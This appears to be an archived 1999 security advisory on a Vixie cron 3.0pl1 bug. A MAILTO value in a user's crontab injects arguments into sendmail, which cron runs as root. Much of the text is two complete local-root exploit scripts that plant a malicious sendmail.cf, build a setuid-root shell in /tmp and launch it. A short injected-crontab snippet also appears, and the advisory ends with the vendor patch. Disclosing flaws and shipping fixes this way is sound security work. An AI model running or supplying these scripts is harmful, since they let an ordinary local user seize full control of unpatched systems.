COMMAND

    Vixie Cron

SYSTEMS AFFECTED

    Vixie Cron version 3.0pl1

PROBLEM

    Martin Schulze found following.   Red Hat has recently released  a
    Security Advisory covering a reverse denial of service bug in  the
    vixie cron package.   As user you  could restart sendmail  even if
    the host should not receive  mail through the SMTP port.   Further
    investigation discovered that it was even worse.  Vixie cron  runs
    as root at the time sending  acknowledge mail to a user.   Passing
    arbitrary  parameters  to  sendmail  at  this  time  leads  into a
    possible root  exploit (like  -C/tmp/myexploitsendmail.cf).   Btw,
    this issue is close with following one:

        http://oliver.efri.hr/~crv/security/bugs/Linux/vixie4.html

    The exploit  has been  developed by  Olaf Kirch.   Set the  user's
    crontab to

        MAILTO=" -C/tmp/myexploitsendmail.cf"
        * * * * * ls

    In  /tmp/myexploitsendmail.cf  you  basically  modify  the   local
    mailer:

        O DefaultUser=root:root
        Mlocal,         P=/tmp/hackme, F=lsDFMAw5:/|@qXfmnz9, S=10/30, R=20/40, T=DNS/RFC822/X-Unix, A=mail.local -l

    i.e. remove the S flag, and set DefaultUser.

    Taeho Oh posted the exploit:

    #!/bin/sh
    
    
    # Vixie crontab exploit
    #
    # Local user can gain root access.
    #
    # Tested redhat linux : 4.2, 5.0, 5.1, 6.0
    # Tested vixie crontab version : 3.0.1
    #
    # This program is only for demonstrative use only.
    # USE IT AT YOUR OWN RISK!
    #
    # Programmed by Taeho Oh 1999/08/31
    #
    # Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara
    # PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus
    # PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug
    
    
    PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
    export PATH
    
    
    echo
    echo "Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara"
    echo "PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus"
    echo "PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug"
    echo
    
    
    echo make shell
    echo
    cat > /tmp/sh.c << EOF
    #include <unistd.h>
    #include <stdlib.h>
    int main()
    {
	    setuid(0);
	    setgid(0);
	    execl("/bin/sh","sh",0);
	    return 0;
    }
    EOF
    echo compile shell
    echo
    cc -o /tmp/sh /tmp/sh.c || gcc -o /tmp/sh /tmp/sh.c
    
    
    echo make execute shell script
    echo
    cat > /tmp/makesh << EOF
    #!/bin/sh
    chown root /tmp/sh
    chgrp root /tmp/sh
    chmod 4755 /tmp/sh
    EOF
    chmod 755 /tmp/makesh
    
    
    echo hack sendmail.cf
    echo
    cp -f /etc/sendmail.cf /tmp/sendmail.cf.tmp1
    sed 's/O DefaultUser=8:12/O DefaultUser=0:0/g' /tmp/sendmail.cf.tmp1 > /tmp/sendmail.cf
    sed 's/P=\/usr\/bin\/procmail/P=\/tmp\/makesh/g' /tmp/sendmail.cf.tmp1 > /tmp/sendmail.cf.tmp2
    sed 's/A=procmail/A=makesh/g' /tmp/sendmail.cf.tmp2 > /tmp/sendmail.cf.tmp3
    cp /tmp/sendmail.cf.tmp3 /tmp/sendmail.cf
    rm -f /tmp/sendmail.cf.tmp1
    rm -f /tmp/sendmail.cf.tmp2
    rm -f /tmp/sendmail.cf.tmp3
    
    
    echo make cron file
    echo
    cat > /tmp/cronfile << EOF
    MAILTO=-C/tmp/sendmail.cf `whoami`
    * * * * * ls
    EOF
    echo input cron file
    echo
    crontab /tmp/cronfile
    
    
    echo wait for 1 minute
    echo
    sec=`date +%S`
    wait=`expr 65 - $sec`
    sleep $wait
    
    
    echo execute shell
    echo
    /tmp/sh
    
    
    echo delete data files
    echo
    cd /tmp
    rm -f sendmail.cf cronfile makesh sh.c
    crontab /dev/null

    Michal Zalewski added his version of exploit:

    #!/bin/sh
    
    clear
    
    echo '------------------------------------------------------------------'
    echo 'Marchew Hyperreal Industries                <marchew@dione.ids.pl>'
    echo 'Stumilowy Las Team                       <100milowy@gdynia.ids.pl>'
    echo '---------------------------- presents ----------------------------'
    echo
    echo ' -= vixie-cron root sploit by Michal Zalewski <lcamtuf@ids.pl> =-'
    echo
    
    echo '[+] Checking dependencies:'
    
    echo -n '   [*] vixie crontab: '
    
    if [ -u /usr/bin/crontab -a -x /usr/bin/crontab ]; then
      echo "OK"
    else
      echo "NOT FOUND!"
      exit 1
    fi
    
    echo -n '   [*] Berkeley Sendmail: '
    
    if [ -f /usr/sbin/sendmail ]; then
      echo "OK"
    else
      echo "NOT FOUND!"
      exit 1
    fi
    
    echo -n '   [*] gcc compiler: '
    
    if [ -x /usr/bin/gcc ]; then
      echo "OK"
    else
      echo "NOT FOUND!"
      exit 1
    fi
    
    echo '   [?] Dependiences not verified:'
    echo '      [*] proper version of vixie crontab'
    echo '      [*] writable /tmp without noexec/nosuid option'
    echo '[+] Exploit started.'
    
    echo "[+] Setting up .cf file for sendmail..."
    
    cat >/tmp/vixie-cf <<__eof__
    V7/Berkeley
    
    O QueueDirectory=/tmp
    O DefaultUser=0:0
    
    R$+		\$#local $: \$1		regular local names
    
    Mlocal,		P=/tmp/vixie-root, F=lsDFMAw5:/|@qSPfhn9, S=10/30, R=20/40,
		    T=DNS/RFC822/X-Unix,
		    A=vixie-root
    __eof__
    
    echo '[+] Setting up phase #1 tool (phase #2 tool compiler)...'
    
    cat >/tmp/vixie-root <<__eof__
    #!/bin/sh
    
    gcc /tmp/vixie-own3d.c -o /tmp/vixie-own3d
    chmod 6755 /tmp/vixie-own3d
    __eof__
    
    chmod 755 /tmp/vixie-root
    
    echo '[+] Setting up phase #2 tool (rootshell launcher)...'
    
    cat >/tmp/vixie-own3d.c <<__eof__
    main() {
      setuid(0);
      setgid(0);
      unlink("/tmp/vixie-own3d");
      execl("/bin/sh","sh","-i",0);
    }
    __eof__
    
    echo '[+] Putting evil crontab entry...'
    
    crontab - <<__eof__
    MAILTO='-C/tmp/vixie-cf dupek'
    * * * * * nonexist
    __eof__
    
    echo '[+] Patience is a virtue... Wait up to 60 seconds.'
    
    ILE=0
    
    echo -n '[+] Tick.'
    
    while [ $ILE -lt 50 ]; do
      sleep 2
      let ILE=ILE+1
      test -f /tmp/vixie-own3d && ILE=1000
      echo -n '.'
    done
    
    echo
    echo '[+] Huh, done. Removing crontab entry...'
    
    crontab -r
    
    echo '[+] Removing helper files...'
    
    rm -f /tmp/vixie-own3d.c /tmp/vixie-root /tmp/vixie-cf /tmp/df* /tmp/qf* &>/dev/null
    
    echo '[*] And now...'
    
    if [ -f /tmp/vixie-own3d ]; then
      echo '[+] Entering root shell, babe :)'
      echo
      /tmp/vixie-own3d
      echo
    else
      echo '[-] Oops, no root shell found, patched system or configuration problem :('
    fi
    
    echo '[*] Exploit done.'

SOLUTION

    Olaf Kirch has  developed the following  patch that will  send the
    mail as user instead of  root and removes the possibility  to pass
    arguments to the installed MTA.  Fixed packages available:

        Red Hat - already released
        Caldera - in progress
        Debian - in progress
        Slackware - no Vixie cron, they use Dillen's Cron Daemon instead

    Patch:

    diff -ur cron-3.0pl1.orig/config.h cron-3.0pl1/config.h
    --- cron-3.0pl1.orig/config.h	Thu Aug 26 15:03:15 1999
    +++ cron-3.0pl1/config.h	Thu Aug 26 17:00:14 1999
    @@ -42,11 +42,13 @@
 			     */

     #define MAILCMD _PATH_SENDMAIL					/*-*/
    -#define MAILARGS "%s -FCronDaemon -odi -oem -or0s %s"		/*-*/
    +#define MAILARGS "%s -FCronDaemon -odi -oem %s"			/*-*/
 			    /* -Fx	 = set full-name of sender
 			     * -odi	 = Option Deliverymode Interactive
 			     * -oem	 = Option Errors Mailedtosender
 			     * -or0s = Option Readtimeout -- don't time out
    +			 * XXX: sendmail doesn't allow -or0s when invoked
    +			 * by joe user.  --okir
 			     */

     /* #define MAILCMD "/bin/mail"			/*-*/
    diff -ur cron-3.0pl1.orig/cron.h cron-3.0pl1/cron.h
    --- cron-3.0pl1.orig/cron.h	Thu Aug 26 15:03:16 1999
    +++ cron-3.0pl1/cron.h	Thu Aug 26 16:45:07 1999
    @@ -221,7 +221,7 @@
     entry		*load_entry __P((FILE *, void (*)(),
 				     struct passwd *, char **));

    -FILE		*cron_popen __P((char *, char *));
    +FILE		*cron_popen __P((char *, char *, entry *));


 				    /* in the C tradition, we only create
    diff -ur cron-3.0pl1.orig/do_command.c cron-3.0pl1/do_command.c
    --- cron-3.0pl1.orig/do_command.c	Thu Aug 26 15:03:16 1999
    +++ cron-3.0pl1/do_command.c	Thu Aug 26 17:14:23 1999
    @@ -95,6 +95,21 @@
 	    usernm = env_get("LOGNAME", e->envp);
 	    mailto = env_get("MAILTO", e->envp);

    +	/* Check for arguments */
    +	if (mailto) {
    +		const char	*end;
    +
    +		/* These chars have to match those cron_popen()
    +		 * uses to split the command string */
    +		mailto += strspn(mailto, " \t\n");
    +		end = mailto + strcspn(mailto, " \t\n");
    +		if (*mailto == '-' || *end != '\0') {
    +			printf("Bad Mailto karma.\n");
    +			log_it("CRON",getpid(),"error","bad mailto");
    +			mailto = NULL;
    +		}
    +	}
    +
     #ifdef USE_SIGCHLD
 	    /* our parent is watching for our death by catching SIGCHLD.  we
 	     * do not care to watch for our children's deaths this way -- we
    @@ -368,7 +383,7 @@
 				    (void) gethostname(hostname, MAXHOSTNAMELEN);
 				    (void) snprintf(mailcmd, sizeof(mailcmd),
 				        MAILARGS, MAILCMD, mailto);
    -				if (!(mail = cron_popen(mailcmd, "w"))) {
    +				if (!(mail = cron_popen(mailcmd, "w", e))) {
 					    perror(MAILCMD);
 					    (void) _exit(ERROR_EXIT);
 				    }
    diff -ur cron-3.0pl1.orig/popen.c cron-3.0pl1/popen.c
    --- cron-3.0pl1.orig/popen.c	Thu Aug 26 15:03:16 1999
    +++ cron-3.0pl1/popen.c	Thu Aug 26 17:01:24 1999
    @@ -44,8 +44,9 @@
     static int fds;

     FILE *
    -cron_popen(program, type)
    +cron_popen(program, type, e)
 	    char *program, *type;
    +	entry *e;
     {
 	    register char *cp;
 	    FILE *iop;
    @@ -115,6 +116,14 @@
 			    }
 			    (void)close(pdes[1]);
 		    }
    +		/* Lose root privilege */
    +		setgid(e->gid);
    +# if defined(BSD) || defined(POSIX)
    +		initgroups(env_get("LOGNAME", e->envp), e->gid);
    +# endif
    +		setuid(e->uid);
    +		chdir(env_get("HOME", e->envp));
    +
     #if WANT_GLOBBING
 		    execvp(gargv[0], gargv);
     #else